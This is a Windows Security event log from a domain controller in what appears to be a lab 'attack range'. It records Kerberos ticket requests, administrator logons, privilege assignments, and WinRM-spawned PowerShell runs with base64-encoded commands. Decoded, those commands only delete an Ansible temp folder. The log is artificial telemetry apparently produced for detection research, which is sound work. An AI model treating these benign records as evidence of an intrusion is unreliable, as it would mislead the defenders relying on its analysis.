-EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251688 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251687 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251686 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251685 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x140155 - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251684 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x140155 - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251683 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x140155 - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251682 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251681 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251680 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4634 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logoff -OpCode=Info -RecordNumber=251679 -Keywords=Audit Success -Message=An account was logged off. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13ECBA - -Logon Type: 3 - -This event is generated when a logon session is destroyed. It may be positively correlated with a logon event using the Logon ID value. Logon IDs are only unique between reboots on the same computer. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251678 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x1174 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xd58 - Creator Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Process Command Line: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UwBlAHQALQBTAHQAcgBpAGMAdABNAG8AZABlACAALQBWAGUAcgBzAGkAbwBuACAATABhAHQAZQBzAHQACgBSAGUAbQBvAHYAZQAtAEkAdABlAG0AIAAiAEMAOgBcAFUAcwBlAHIAcwBcAEEAZABtAGkAbgBpAHMAdAByAGEAdABvAHIAXABBAHAAcABEAGEAdABhAFwATABvAGMAYQBsAFwAVABlAG0AcABcAGEAbgBzAGkAYgBsAGUALQB0AG0AcAAtADEANgAxADQANgAwADIANQA3ADIALgA5ADMAOQAxADQAOAAtADIANgAxADQANwA2ADkANAA5ADkAMAAzADUAMAA5ACIAIAAtAEYAbwByAGMAZQAgAC0AUgBlAGMAdQByAHMAZQA7AAoASQBmACAAKAAtAG4AbwB0ACAAJAA/ACkAIAB7ACAASQBmACAAKABHAGUAdAAtAFYAYQByAGkAYQBiAGwAZQAgAEwAQQBTAFQARQBYAEkAVABDAE8ARABFACAALQBFAHIAcgBvAHIAQQBjAHQAaQBvAG4AIABTAGkAbABlAG4AdABsAHkAQwBvAG4AdABpAG4AdQBlACkAIAB7ACAAZQB4AGkAdAAgACQATABBAFMAVABFAFgASQBUAEMATwBEAEUAIAB9ACAARQBsAHMAZQAgAHsAIABlAHgAaQB0ACAAMQAgAH0AIAB9AA== - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251677 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13ECBA - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251676 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: Impersonation - -New Logon: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13ECBA - Linked Logon ID: 0x0 - Network Account Name: - - Network Account Domain: - - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Workstation Name: WIN-DC-725 - Source Network Address: - - Source Port: - - -Detailed Authentication Information: - Logon Process: Advapi - Authentication Package: Negotiate - Transited Services: - - Package Name (NTLM only): - - Key Length: 0 - -This event is generated when a logon session is created. It is generated on the computer that was accessed. - -The subject fields indicate the account on the local system which requested the logon. This is most commonly a service such as the Server service, or a local process such as Winlogon.exe or Services.exe. - -The logon type field indicates the kind of logon that occurred. The most common types are 2 (interactive) and 3 (network). - -The New Logon fields indicate the account for whom the new logon was created, i.e. the account that was logged on. - -The network fields indicate where a remote logon request originated. Workstation name is not always available and may be left blank in some cases. - -The impersonation level field indicates the extent to which a process in the logon session can impersonate. - -The authentication information fields provide detailed information about this specific logon request. - - Logon GUID is a unique identifier that can be used to correlate this event with a KDC event. - - Transited services indicate which intermediate services have participated in this logon request. - - Package name indicates which sub-protocol was used among the NTLM protocols. - - Key length indicates the length of the generated session key. This will be 0 if no session key was requested. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4648 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251675 -Keywords=Audit Success -Message=A logon was attempted using explicit credentials. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - Logon GUID: {00000000-0000-0000-0000-000000000000} - -Account Whose Credentials Were Used: - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Target Server: - Target Server Name: localhost - Additional Information: localhost - -Process Information: - Process ID: 0x534 - Process Name: C:\Windows\System32\svchost.exe - -Network Information: - Network Address: - - Port: - - -This event is generated when a process attempts to log on an account by explicitly specifying that account’s credentials. This most commonly occurs in batch-type configurations such as scheduled tasks, or when using the RUNAS command. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4769 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Service Ticket Operations -OpCode=Info -RecordNumber=251674 -Keywords=Audit Success -Message=A Kerberos service ticket was requested. - -Account Information: - Account Name: Administrator@ATTACKRANGE.LOCAL - Account Domain: ATTACKRANGE.LOCAL - Logon GUID: {408026A9-2A04-9536-548B-BCD77EE83040} - -Service Information: - Service Name: WIN-DC-725$ - Service ID: ATTACKRANGE\WIN-DC-725$ - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810000 - Ticket Encryption Type: 0x12 - Failure Code: 0x0 - Transited Services: - - -This event is generated every time access is requested to a resource such as a computer or a Windows service. The service name indicates the resource to which access was requested. - -This event can be correlated with Windows logon events by comparing the Logon GUID fields in each event. The logon event occurs on the machine that was accessed, which is often a different machine than the domain controller which issued the service ticket. - -Ticket options, encryption types, and failure codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4768 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Kerberos Authentication Service -OpCode=Info -RecordNumber=251673 -Keywords=Audit Success -Message=A Kerberos authentication ticket (TGT) was requested. - -Account Information: - Account Name: Administrator - Supplied Realm Name: ATTACKRANGE - User ID: ATTACKRANGE\Administrator - -Service Information: - Service Name: krbtgt - Service ID: ATTACKRANGE\krbtgt - -Network Information: - Client Address: ::1 - Client Port: 0 - -Additional Information: - Ticket Options: 0x40810010 - Result Code: 0x0 - Ticket Encryption Type: 0x12 - Pre-Authentication Type: 2 - -Certificate Information: - Certificate Issuer Name: - Certificate Serial Number: - Certificate Thumbprint: - -Certificate information is only provided if a certificate was used for pre-authentication. - -Pre-authentication types, ticket options, encryption types and result codes are defined in RFC 4120. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251672 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0xd58 - New Process Name: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0x121c - Creator Process Name: C:\Windows\System32\cmd.exe - Process Command Line: PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABJAEEATABnAEEANQBBAEQATQBBAE8AUQBBAHgAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAeABBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBOAEEAQQA1AEEARABrAEEATQBBAEEAegBBAEQAVQBBAE0AQQBBADUAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4688 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Process Creation -OpCode=Info -RecordNumber=251671 -Keywords=Audit Success -Message=A new process has been created. - -Creator Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13893A - -Target Subject: - Security ID: NULL SID - Account Name: - - Account Domain: - - Logon ID: 0x0 - -Process Information: - New Process ID: 0x121c - New Process Name: C:\Windows\System32\cmd.exe - Token Elevation Type: %%1936 - Mandatory Label: Mandatory Label\High Mandatory Level - Creator Process ID: 0xed8 - Creator Process Name: C:\Windows\System32\winrshost.exe - Process Command Line: C:\Windows\system32\cmd.exe /C PowerShell -NoProfile -NonInteractive -ExecutionPolicy Unrestricted -EncodedCommand UABvAHcAZQByAFMAaABlAGwAbAAgAC0ATgBvAFAAcgBvAGYAaQBsAGUAIAAtAE4AbwBuAEkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAC0ARQB4AGUAYwB1AHQAaQBvAG4AUABvAGwAaQBjAHkAIABVAG4AcgBlAHMAdAByAGkAYwB0AGUAZAAgAC0ARQBuAGMAbwBkAGUAZABDAG8AbQBtAGEAbgBkACAAVQB3AEIAbABBAEgAUQBBAEwAUQBCAFQAQQBIAFEAQQBjAGcAQgBwAEEARwBNAEEAZABBAEIATgBBAEcAOABBAFoAQQBCAGwAQQBDAEEAQQBMAFEAQgBXAEEARwBVAEEAYwBnAEIAegBBAEcAawBBAGIAdwBCAHUAQQBDAEEAQQBUAEEAQgBoAEEASABRAEEAWgBRAEIAegBBAEgAUQBBAEMAZwBCAFMAQQBHAFUAQQBiAFEAQgB2AEEASABZAEEAWgBRAEEAdABBAEUAawBBAGQAQQBCAGwAQQBHADAAQQBJAEEAQQBpAEEARQBNAEEATwBnAEIAYwBBAEYAVQBBAGMAdwBCAGwAQQBIAEkAQQBjAHcAQgBjAEEARQBFAEEAWgBBAEIAdABBAEcAawBBAGIAZwBCAHAAQQBIAE0AQQBkAEEAQgB5AEEARwBFAEEAZABBAEIAdgBBAEgASQBBAFgAQQBCAEIAQQBIAEEAQQBjAEEAQgBFAEEARwBFAEEAZABBAEIAaABBAEYAdwBBAFQAQQBCAHYAQQBHAE0AQQBZAFEAQgBzAEEARgB3AEEAVgBBAEIAbABBAEcAMABBAGMAQQBCAGMAQQBHAEUAQQBiAGcAQgB6AEEARwBrAEEAWQBnAEIAcwBBAEcAVQBBAEwAUQBCADAAQQBHADAAQQBjAEEAQQB0AEEARABFAEEATgBnAEEAeABBAEQAUQBBAE4AZwBBAHcAQQBEAEkAQQBOAFEAQQAzAEEARABJAEEATABnAEEANQBBAEQATQBBAE8AUQBBAHgAQQBEAFEAQQBPAEEAQQB0AEEARABJAEEATgBnAEEAeABBAEQAUQBBAE4AdwBBADIAQQBEAGsAQQBOAEEAQQA1AEEARABrAEEATQBBAEEAegBBAEQAVQBBAE0AQQBBADUAQQBDAEkAQQBJAEEAQQB0AEEARQBZAEEAYgB3AEIAeQBBAEcATQBBAFoAUQBBAGcAQQBDADAAQQBVAGcAQgBsAEEARwBNAEEAZABRAEIAeQBBAEgATQBBAFoAUQBBADcAQQBBAG8AQQBTAFEAQgBtAEEAQwBBAEEASwBBAEEAdABBAEcANABBAGIAdwBCADAAQQBDAEEAQQBKAEEAQQAvAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFMAUQBCAG0AQQBDAEEAQQBLAEEAQgBIAEEARwBVAEEAZABBAEEAdABBAEYAWQBBAFkAUQBCAHkAQQBHAGsAQQBZAFEAQgBpAEEARwB3AEEAWgBRAEEAZwBBAEUAdwBBAFEAUQBCAFQAQQBGAFEAQQBSAFEAQgBZAEEARQBrAEEAVgBBAEIARABBAEUAOABBAFIAQQBCAEYAQQBDAEEAQQBMAFEAQgBGAEEASABJAEEAYwBnAEIAdgBBAEgASQBBAFEAUQBCAGoAQQBIAFEAQQBhAFEAQgB2AEEARwA0AEEASQBBAEIAVABBAEcAawBBAGIAQQBCAGwAQQBHADQAQQBkAEEAQgBzAEEASABrAEEAUQB3AEIAdgBBAEcANABBAGQAQQBCAHAAQQBHADQAQQBkAFEAQgBsAEEAQwBrAEEASQBBAEIANwBBAEMAQQBBAFoAUQBCADQAQQBHAGsAQQBkAEEAQQBnAEEAQwBRAEEAVABBAEIAQgBBAEYATQBBAFYAQQBCAEYAQQBGAGcAQQBTAFEAQgBVAEEARQBNAEEAVAB3AEIARQBBAEUAVQBBAEkAQQBCADkAQQBDAEEAQQBSAFEAQgBzAEEASABNAEEAWgBRAEEAZwBBAEgAcwBBAEkAQQBCAGwAQQBIAGcAQQBhAFEAQgAwAEEAQwBBAEEATQBRAEEAZwBBAEgAMABBAEkAQQBCADkAQQBBAD0APQA= - -Token Elevation Type indicates the type of token that was assigned to the new process in accordance with User Account Control policy. - -Type 1 is a full token with no privileges removed or groups disabled. A full token is only used if User Account Control is disabled or if the user is the built-in Administrator account or a service account. - -Type 2 is an elevated token with no privileges removed or groups disabled. An elevated token is used when User Account Control is enabled and the user chooses to start the program using Run as administrator. An elevated token is also used when an application is configured to always require administrative privilege or to always require maximum privilege, and the user is a member of the Administrators group. - -Type 3 is a limited token with administrative privileges removed and administrative groups disabled. The limited token is used when User Account Control is enabled, the application does not require administrative privilege, and the user does not choose to start the program using Run as administrator. -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4672 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Special Logon -OpCode=Info -RecordNumber=251670 -Keywords=Audit Success -Message=Special privileges assigned to new logon. - -Subject: - Security ID: ATTACKRANGE\Administrator - Account Name: Administrator - Account Domain: ATTACKRANGE - Logon ID: 0x13EAAD - -Privileges: SeSecurityPrivilege - SeTakeOwnershipPrivilege - SeLoadDriverPrivilege - SeBackupPrivilege - SeRestorePrivilege - SeDebugPrivilege - SeSystemEnvironmentPrivilege - SeEnableDelegationPrivilege - SeImpersonatePrivilege - SeDelegateSessionUserImpersonatePrivilege -03/11/2021 11:49:49 PM -LogName=Security -SourceName=Microsoft Windows security auditing. -EventCode=4624 -EventType=0 -Type=Information -ComputerName=win-dc-725.attackrange.local -TaskCategory=Logon -OpCode=Info -RecordNumber=251669 -Keywords=Audit Success -Message=An account was successfully logged on. - -Subject: - Security ID: NT AUTHORITY\NETWORK SERVICE - Account Name: WIN-DC-725$ - Account Domain: ATTACKRANGE - Logon ID: 0x3E4 - -Logon Information: - Logon Type: 3 - Restricted Admin Mode: - - Virtual Account: No - Elevated Token: Yes - -Impersonation Level: 